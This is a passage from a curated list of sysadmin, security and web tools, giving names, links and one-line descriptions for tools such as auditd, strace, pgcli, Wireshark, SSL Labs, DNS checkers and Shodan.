monitoring.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"><b>auditd</b></a> - provides a way to track security-relevant information on your system.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.nongnu.org/tiger/"><b>Tiger</b></a> - is a security tool that can be use both as a security audit and intrusion detection system.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://cisofy.com/lynis/"><b>Lynis</b></a> - battle-tested security tool for systems running Linux, macOS, or Unix-based operating system.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/rebootuser/LinEnum"><b>LinEnum</b></a> - scripted Local Linux Enumeration & Privilege Escalation Checks.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/installation/rkhunter"><b>Rkhunter</b></a> - scanner tool for Linux systems that scans backdoors, rootkits and local exploits on your systems.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/hasherezade/pe-sieve"><b>PE-sieve</b></a> - is a light-weight tool that helps to detect malware running on the system.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite"><b>PEASS</b></a> - privilege escalation tools for Windows and Linux/Unix and MacOS.<br> </p> ##### :black_small_square: System Diagnostics/Debuggers <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/strace/strace"><b>strace</b></a> - diagnostic, debugging and instructional userspace utility for Linux.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://dtrace.org/blogs/about/"><b>DTrace</b></a> - is a performance analysis and troubleshooting tool.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://en.wikipedia.org/wiki/Ltrace"><b>ltrace</b></a> - is a library call tracer, used to trace calls made by programs to library functions.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/brainsmoke/ptrace-burrito"><b>ptrace-burrito</b></a> - is a friendly wrapper around ptrace.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/brendangregg/perf-tools"><b>perf-tools</b></a> - performance analysis tools based on Linux perf_events (aka perf) and ftrace.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/iovisor/bpftrace"><b>bpftrace</b></a> - high-level tracing language for Linux eBPF.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/draios/sysdig"><b>sysdig</b></a> - system exploration and troubleshooting tool with first class support for containers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.valgrind.org/"><b>Valgrind</b></a> - is an instrumentation framework for building dynamic analysis tools.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/gperftools/gperftools"><b>gperftools</b></a> - high-performance multi-threaded malloc() implementation, plus some performance analysis tools.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://nicolargo.github.io/glances/"><b>glances</b></a> - cross-platform system monitoring tool written in Python.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/hishamhm/htop"><b>htop</b></a> - interactive text-mode process viewer for Unix systems. It aims to be a better 'top'.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/aristocratos/bashtop"><b>bashtop</b></a> - Linux resource monitor written in pure Bash.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://nmon.sourceforge.net/pmwiki.php"><b>nmon</b></a> - a single executable for performance monitoring and data analysis.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.atoptool.nl/"><b>atop</b></a> - ASCII performance monitor. Includes statistics for CPU, memory, disk, swap, network, and processes.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://en.wikipedia.org/wiki/Lsof"><b>lsof</b></a> - displays in its output information about files that are opened by processes.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.brendangregg.com/flamegraphs.html"><b>FlameGraph</b></a> - stack trace visualizer.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/zevv/lsofgraph"><b>lsofgraph</b></a> - convert Unix lsof output to a graph showing FIFO and UNIX interprocess communication.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/mozilla/rr"><b>rr</b></a> - is a lightweight tool for recording, replaying and debugging execution of applications.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://pcp.io/index.html"><b>Performance Co-Pilot</b></a> - a system performance analysis toolkit.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/sharkdp/hexyl"><b>hexyl</b></a> - a command-line hex viewer.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/p403n1x87/austin"><b>Austin</b></a> - Python frame stack sampler for CPython.<br> </p> ##### :black_small_square: Log Analyzers <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/rcoh/angle-grinder"><b>angle-grinder</b></a> - slice and dice log files on the command line.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://lnav.org"><b>lnav</b></a> - log file navigator with search and automatic refresh.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://goaccess.io/"><b>GoAccess</b></a> - real-time web log analyzer and interactive viewer that runs in a terminal.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/lebinh/ngxtop"><b>ngxtop</b></a> - real-time metrics for nginx server.<br> </p> ##### :black_small_square: Databases <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/xo/usql"><b>usql</b></a> - universal command-line interface for SQL databases.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/dbcli/pgcli"><b>pgcli</b></a> - postgres CLI with autocompletion and syntax highlighting.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/dbcli/mycli"><b>mycli</b></a> - terminal client for MySQL with autocompletion and syntax highlighting.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/dbcli/litecli"><b>litecli</b></a> - SQLite CLI with autocompletion and syntax highlighting.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/dbcli/mssql-cli"><b>mssql-cli</b></a> - SQL Server CLI with autocompletion and syntax highlighting.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/osquery/osquery"><b>OSQuery</b></a> - is a SQL powered operating system instrumentation, monitoring, and analytics framework.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/ankane/pgsync"><b>pgsync</b></a> - sync data from one Postgres database to another.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/laixintao/iredis"><b>iredis</b></a> - a terminal client for redis with autocompletion and syntax highlighting.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.schemacrawler.com/diagramming.html"><b>SchemaCrawler</b></a> - generates an E-R diagram of your database.<br> </p> ##### :black_small_square: TOR <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/GouveaHeitor/nipe"><b>Nipe</b></a> - script to make Tor Network your default gateway.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/trimstray/multitor"><b>multitor</b></a> - a tool that lets you create multiple TOR instances with a load-balancing.<br> </p> ##### :black_small_square: Messengers/IRC Clients <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://irssi.org"><b>Irssi</b></a> - is a free open source terminal based IRC client.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://weechat.org/"><b>WeeChat</b></a> - is an extremely extensible and lightweight IRC client.<br> </p> ##### :black_small_square: Productivity <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://taskwarrior.org"><b>taskwarrior</b></a> - task management system, todo list <br> </p> ##### :black_small_square: Other <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/skx/sysadmin-util"><b>sysadmin-util</b></a> - tools for Linux/Unix sysadmins.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://inotify.aiken.cz/"><b>incron</b></a> - is an inode-based filesystem notification technology.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/axkibe/lsyncd"><b>lsyncd</b></a> - synchronizes local directories with remote targets (Live Syncing Daemon).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/rgburke/grv"><b>GRV</b></a> - is a terminal based interface for viewing Git repositories.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://jonas.github.io/tig/"><b>Tig</b></a> - text-mode interface for Git.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/tldr-pages/tldr"><b>tldr</b></a> - simplified and community-driven man pages.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/mholt/archiver"><b>archiver</b></a> - easily create and extract .zip, .tar, .tar.gz, .tar.bz2, .tar.xz, .tar.lz4, .tar.sz, and .rar.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/tj/commander.js"><b>commander.js</b></a> - minimal CLI creator in JavaScript.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/tomnomnom/gron"><b>gron</b></a> - make JSON greppable!<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/itchyny/bed"><b>bed</b></a> - binary editor written in Go.<br> </p> #### GUI Tools &nbsp;[<sup>[TOC]</sup>](#anger-table-of-contents) ##### :black_small_square: Terminal emulators <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Guake/guake"><b>Guake</b></a> - is a dropdown terminal made for the GNOME desktop environment.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://gnometerminator.blogspot.com/p/introduction.html"><b>Terminator</b></a> - is based on GNOME Terminal, useful features for sysadmins and other users.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://sw.kovidgoyal.net/kitty/"><b>Kitty</b></a> - is a GPU based terminal emulator that supports smooth scrolling and images.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/alacritty/alacritty"><b>Alacritty</b></a> - is a fast, cross-platform, OpenGL terminal emulator.<br> </p> ##### :black_small_square: Network <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.wireshark.org/"><b>Wireshark</b></a> - is the world’s foremost and widely-used network protocol analyzer.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.ettercap-project.org/"><b>Ettercap</b></a> - is a comprehensive network monitor tool.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://etherape.sourceforge.io/"><b>EtherApe</b></a> - is a graphical network monitoring solution.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://packetsender.com/"><b>Packet Sender</b></a> - is a networking utility for packet generation and built-in UDP/TCP/SSL client and servers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://ostinato.org/"><b>Ostinato</b></a> - is a packet crafter and traffic generator.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://jmeter.apache.org/"><b>JMeter™</b></a> - open source software to load test functional behavior and measure performance.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/locustio/locust"><b>locust</b></a> - scalable user load testing tool written in Python.<br> </p> ##### :black_small_square: Browsers <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.torproject.org/"><b>TOR Browser</b></a> - protect your privacy and defend yourself against network surveillance and traffic analysis.<br> </p> ##### :black_small_square: Password Managers <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://keepassxc.org/"><b>KeePassXC</b></a> - store your passwords safely and auto-type them into your everyday websites and apps.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://bitwarden.com/"><b>Bitwarden</b></a> - open source password manager with built-in sync.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/dani-garcia/vaultwarden/"><b>Vaultwarden</b></a> - unofficial Bitwarden compatible server written in Rust.<br> </p> ##### :black_small_square: Messengers/IRC Clients <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://hexchat.github.io/index.html"><b>HexChat</b></a> - is an IRC client based on XChat.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://pidgin.im/"><b>Pidgin</b></a> - is an easy to use and free chat client used by millions.<br> </p> ##### :black_small_square: Messengers (end-to-end encryption) <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.signal.org/"><b>Signal</b></a> - is an encrypted communications app.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://wire.com/en/"><b>Wire</b></a> - secure messaging, file sharing, voice calls and video conferences. All protected with end-to-end encryption.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/prof7bit/TorChat"><b>TorChat</b></a> - decentralized anonymous instant messenger on top of Tor Hidden Services.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://matrix.org/"><b>Matrix</b></a> - an open network for secure, decentralized, real-time communication.<br> </p> ##### :black_small_square: Text editors <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.sublimetext.com/3"><b>Sublime Text</b></a> - is a lightweight, cross-platform code editor known for its speed, ease of use.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://code.visualstudio.com/"><b>Visual Studio Code</b></a> - an open-source and free source code editor developed by Microsoft.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://atom.io/"><b>Atom</b></a> - a hackable text editor for the 21st Century.<br> </p> #### Web Tools &nbsp;[<sup>[TOC]</sup>](#anger-table-of-contents) ##### :black_small_square: Browsers <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.ssllabs.com/ssltest/viewMyClient.html"><b>SSL/TLS Capabilities of Your Browser</b></a> - test your browser's SSL implementation.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://caniuse.com/"><b>Can I use</b></a> - provides up-to-date browser support tables for support of front-end web technologies.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://panopticlick.eff.org/"><b>Panopticlick 3.0</b></a> - is your browser safe against tracking?<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://privacy.net/analyzer/"><b>Privacy Analyzer</b></a> - see what data is exposed from your browser.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://browserleaks.com/"><b>Web Browser Security</b></a> - it's all about Web Browser fingerprinting.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.howsmyssl.com/"><b>How's My SSL?</b></a> - help a web server developer learn what real world TLS clients were capable of.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://suche.org/sslClientInfo"><b>sslClientInfo</b></a> - client test (incl TLSv1.3 information).<br> </p> ##### :black_small_square: SSL/Security <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.ssllabs.com/ssltest/"><b>SSLLabs Server Test</b></a> - performs a deep analysis of the configuration of any SSL web server.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://dev.ssllabs.com/ssltest/"><b>SSLLabs Server Test (DEV)</b></a> - performs a deep analysis of the configuration of any SSL web server.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.immuniweb.com/ssl/"><b>ImmuniWeb® SSLScan</b></a> - test SSL/TLS (PCI DSS, HIPAA and NIST).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.jitbit.com/sslcheck/"><b>SSL Check</b></a> - scan your website for non-secure content.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.ssltools.com"><b>SSL Scanner</b></a> - analyze website security.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://cryptcheck.fr/"><b>CryptCheck</b></a> - test your TLS server configuration (e.g. ciphers).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://urlscan.io/"><b>urlscan.io</b></a> - service to scan and analyse websites.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://report-uri.com/home/tools"><b>Report URI</b></a> - monitoring security policies like CSP and HPKP.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://csp-evaluator.withgoogle.com/"><b>CSP Evaluator</b></a> - allows developers and security experts to check if a Content Security Policy.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://uselesscsp.com/"><b>Useless CSP</b></a> - public list about CSP in some big players (might make them care a bit more).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://whynohttps.com/"><b>Why No HTTPS?</b></a> - top 100 websites by Alexa rank not automatically redirecting insecure requests.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://ciphersuite.info/"><b>TLS Cipher Suite Search</b></a>- cipher suite search engine.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/RaymiiOrg/cipherli.st"><b>cipherli.st</b></a> - strong ciphers for Apache, Nginx, Lighttpd, and more.<b>*</b><br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://2ton.com.au/dhtool/"><b>dhtool</b></a> - public Diffie-Hellman parameter service/tool.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://badssl.com/"><b>badssl.com</b></a> - memorable site for testing clients against bad SSL configs.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://tlsfun.de/"><b>tlsfun.de</b></a> - registered for various tests regarding the TLS/SSL protocol.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://sslmate.com/caa/"><b>CAA Record Helper</b></a> - generate a CAA policy.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://ccadb.org/resources"><b>Common CA Database</b></a> - repository of information about CAs, and their root and intermediate certificates.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://certstream.calidog.io/"><b>CERTSTREAM</b></a> - real-time certificate transparency log update stream.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://crt.sh/"><b>crt.sh</b></a> - discovers certificates by continually monitoring all of the publicly known CT.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.hardenize.com/"><b>Hardenize</b></a> - deploy the security standards.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://cryptcheck.fr/suite/"><b>Cipher suite compatibility</b></a> - test TLS cipher suite compatibility.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.urlvoid.com/"><b>urlvoid</b></a> - this service helps you detect potentially malicious websites.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://securitytxt.org/"><b>security.txt</b></a> - a proposed standard (generator) which allows websites to define security policies.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/mozilla/ssl-config-generator"><b>ssl-config-generator</b></a> - help you follow the Mozilla Server Side TLS configuration guidelines.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/mjol/TLScan"><b>TLScan</b></a> - pure python, SSL/TLS protocol and cipher scanner/enumerator.<br> </p> ##### :black_small_square: HTTP Headers & Web Linters <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://securityheaders.com/"><b>Security Headers</b></a> - analyse the HTTP response headers (with rating system to the results).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://observatory.mozilla.org/"><b>Observatory by Mozilla</b></a> - set of tools to analyze your website.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://webhint.io/"><b>webhint</b></a> - is a linting tool that will help you with your site's accessibility, speed, security, and more.<br> </p> ##### :black_small_square: DNS <p> &nbsp;&nbsp;:small_orange_diamond: <a href="http://viewdns.info/"><b>ViewDNS</b></a> - one source for free DNS related tools and information.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://dnslookup.org/"><b>DNSLookup</b></a> - is an advanced DNS lookup tool.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://dnslytics.com/"><b>DNSlytics</b></a> - online DNS investigation tool.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://dnsspy.io/"><b>DNS Spy</b></a> - monitor, validate and verify your DNS configurations.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://zonemaster.iis.se/en/"><b>Zonemaster</b></a> - helps you to control how your DNS works.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://leafdns.com/"><b>Leaf DNS</b></a> - comprehensive DNS tester.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://findsubdomains.com/"><b>Find subdomains online</b></a> - find subdomains for security assessment penetration test.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://dnsdumpster.com/"><b>DNSdumpster</b></a> - dns recon & research, find & lookup dns records.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://dnstable.com/"><b>DNS Table online</b></a> - search for DNS records by domain, IP, CIDR, ISP.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://intodns.com/"><b>intoDNS</b></a> - DNS and mail server health checker.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.zonecut.net/dns/"><b>DNS Bajaj</b></a> - check the delegation of your domain.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.buddyns.com/delegation-lab/"><b>BuddyDNS Delegation LAB</b></a> - check, trace and visualize delegation of your domain.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://dnssec-debugger.verisignlabs.com/"><b>dnssec-debugger</b></a> - DS or DNSKEY records validator.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://ptrarchive.com/"><b>PTRarchive.com</b></a> - this site is responsible for the safekeeping of historical reverse DNS records.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://xip.io/"><b>xip.io</b></a> - wildcard DNS for everyone.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://nip.io/"><b>nip.io</b></a> - dead simple wildcard DNS for any IP Address.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://ceipam.eu/en/dnslookup.php"><b>dnslookup (ceipam)</b></a> - one of the best DNS propagation checker (and not only).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://whatsmydns.com"><b>What's My DNS</b></a> - DNS propagation checking tool.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://blog.erbbysam.com/index.php/2019/02/09/dnsgrep/"><b>DNSGrep</b></a> - quickly searching large DNS datasets.<br> </p> ##### :black_small_square: Mail <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://luxsci.com/smtp-tls-checker"><b>smtp-tls-checker</b></a> - check an email domain for SMTP TLS support.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://mxtoolbox.com/SuperTool.aspx"><b>MX Toolbox</b></a> - all of your MX record, DNS, blacklist and SMTP diagnostics in one integrated tool.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.checktls.com/index.html"><b>Secure Email</b></a> - complete email test tools for email technicians.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.blacklistalert.org/"><b>blacklistalert</b></a> - checks to see if your domain is on a Real Time Spam Blacklist.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://multirbl.valli.org/"><b>MultiRBL</b></a> - complete IP check for sending Mailservers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://dkimvalidator.com/"><b>DKIM SPF & Spam Assassin Validator</b></a> - checks mail authentication and scores messages with Spam Assassin.<br> </p> ##### :black_small_square: Encoders/Decoders and Regex testing <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.url-encode-decode.com/"><b>URL Encode/Decode</b></a> - tool from above to either encode or decode a string of text.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://uncoder.io/"><b>Uncoder</b></a> - the online translator for search queries on log data.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://regex101.com/"><b>Regex101</b></a> - online regex tester and debugger: PHP, PCRE, Python, Golang and JavaScript.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://regexr.com/"><b>RegExr</b></a> - online tool to learn, build, & test Regular Expressions (RegEx / RegExp).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.regextester.com/"><b>RegEx Testing</b></a> - online regex testing tool.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.regexpal.com/"><b>RegEx Pal</b></a> - online regex testing tool + other tools.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://gchq.github.io/CyberChef/"><b>The Cyber Swiss Army Knife</b></a> - a web app for encryption, encoding, compression and data analysis.<br> </p> ##### :black_small_square: Net-tools <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://toolbar.netcraft.com/site_report"><b>Netcraft</b></a> - detailed report about the site, helping you to make informed choices about their integrity.<b>*</b><br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://atlas.ripe.net/"><b>RIPE NCC Atlas</b></a> - a global, open, distributed Internet measurement platform.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.robtex.com/"><b>Robtex</b></a> - uses various sources to gather public information about IP numbers, domain names, host names, etc.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://securitytrails.com/"><b>Security Trails</b></a> - APIs for Security Companies, Researchers and Teams.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://tools.keycdn.com/curl"><b>Online Curl</b></a> - curl test, analyze HTTP Response Headers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://extendsclass.com/"><b>Online Tools for Developers</b></a> - HTTP API tools, testers, encoders, converters, formatters, and other tools.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://ping.eu/"><b>Ping.eu</b></a> - online Ping, Traceroute, DNS lookup, WHOIS and others.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://network-tools.com/"><b>Network-Tools</b></a> - network tools for webmasters, IT technicians & geeks.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://bgpview.io/"><b>BGPview</b></a> - search for any ASN, IP, Prefix or Resource name.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://isbgpsafeyet.com/"><b>Is BGP safe yet?</b></a> - check BGP (RPKI) security of ISPs and other major Internet players.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://riseup.net/"><b>Riseup</b></a> - provides online communication tools for people and groups working on liberatory social change.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.virustotal.com/gui/home/upload"><b>VirusTotal</b></a> - analyze suspicious files and URLs to detect types of malware.<br> </p> ##### :black_small_square: Privacy <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.privacyguides.org/"><b>privacyguides.org</b></a> - provides knowledge and tools to protect your privacy against global mass surveillance.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://dnsprivacy.org/wiki/display/DP/DNS+Privacy+Test+Servers"><b>DNS Privacy Test Servers</b></a> - DNS privacy recursive servers list (with a 'no logging' policy).<br> </p> ##### :black_small_square: Code parsers/playgrounds <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.shellcheck.net/"><b>ShellCheck</b></a> - finds bugs in your shell scripts.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://explainshell.com/"><b>explainshell</b></a> - get interactive help texts for shell commands.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://jsbin.com/?html,output"><b>jsbin</b></a> - live pastebin for HTML, CSS & JavaScript, and more.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://codesandbox.io/"><b>CodeSandbox</b></a> - online code editor for web application development.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://sandbox.onlinephpfunctions.com/"><b>PHP Sandbox</b></a> - test your PHP code with this code tester.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.repl.it/"><b>Repl.it</b></a> - an instant IDE to learn, build, collaborate, and host all in one place.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.vclfiddle.net/"><b>vclFiddle</b></a> - is an online tool for experimenting with the Varnish Cache VCL.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/hadolint/hadolint"><b>Haskell Dockerfile Linter</b></a> - a smarter Dockerfile linter that helps you build best practice Docker images.<br> </p> ##### :black_small_square: Performance <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://gtmetrix.com/"><b>GTmetrix</b></a> - analyze your site’s speed and make it faster.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://performance.sucuri.net/"><b>Sucuri loadtimetester</b></a> - test here the performance of any of your sites from across the globe.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://tools.pingdom.com/"><b>Pingdom Tools</b></a> - analyze your site’s speed around the world.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://pingme.io/"><b>PingMe.io</b></a> - run website latency tests across multiple geographic regions.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://developers.google.com/speed/pagespeed/insights/"><b>PageSpeed Insights</b></a> - analyze your site’s speed and make it faster.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://web.dev/"><b>web.dev</b></a> - helps developers like you learn and apply the web's modern capabilities to your own sites and apps.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/GoogleChrome/lighthouse"><b>Lighthouse</b></a> - automated auditing, performance metrics, and best practices for the web.<br> </p> ##### :black_small_square: Mass scanners (search engines) <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://censys.io/"><b>Censys</b></a> - platform that helps information security practitioners discover, monitor, and analyze devices.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.shodan.io/"><b>Shodan</b></a> - the world's first search engine for Internet-connected devices.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://2000.shodan.io/#/"><b>Shodan 2000</b></a> - this tool looks for randomly generated data from Shodan.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://viz.greynoise.io/table"><b>GreyNoise</b></a> - mass scanner such as Shodan and Censys.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.zoomeye.org/"><b>ZoomEye</b></a> - search engine for cyberspace that lets the user find specific network components.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://netograph.io/"><b>netograph</b></a> - tools to monitor and understand deep structure of the web.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://fofa.so/"><b>FOFA</b></a> - is a cyberspace search engine.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.onyphe.io/"><b>onyphe</b></a> - is a search engine for open-source and cyber threat intelligence data collected.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://intelx.io/"><b>IntelligenceX</b></a> - is a search engine and data archive.<br> 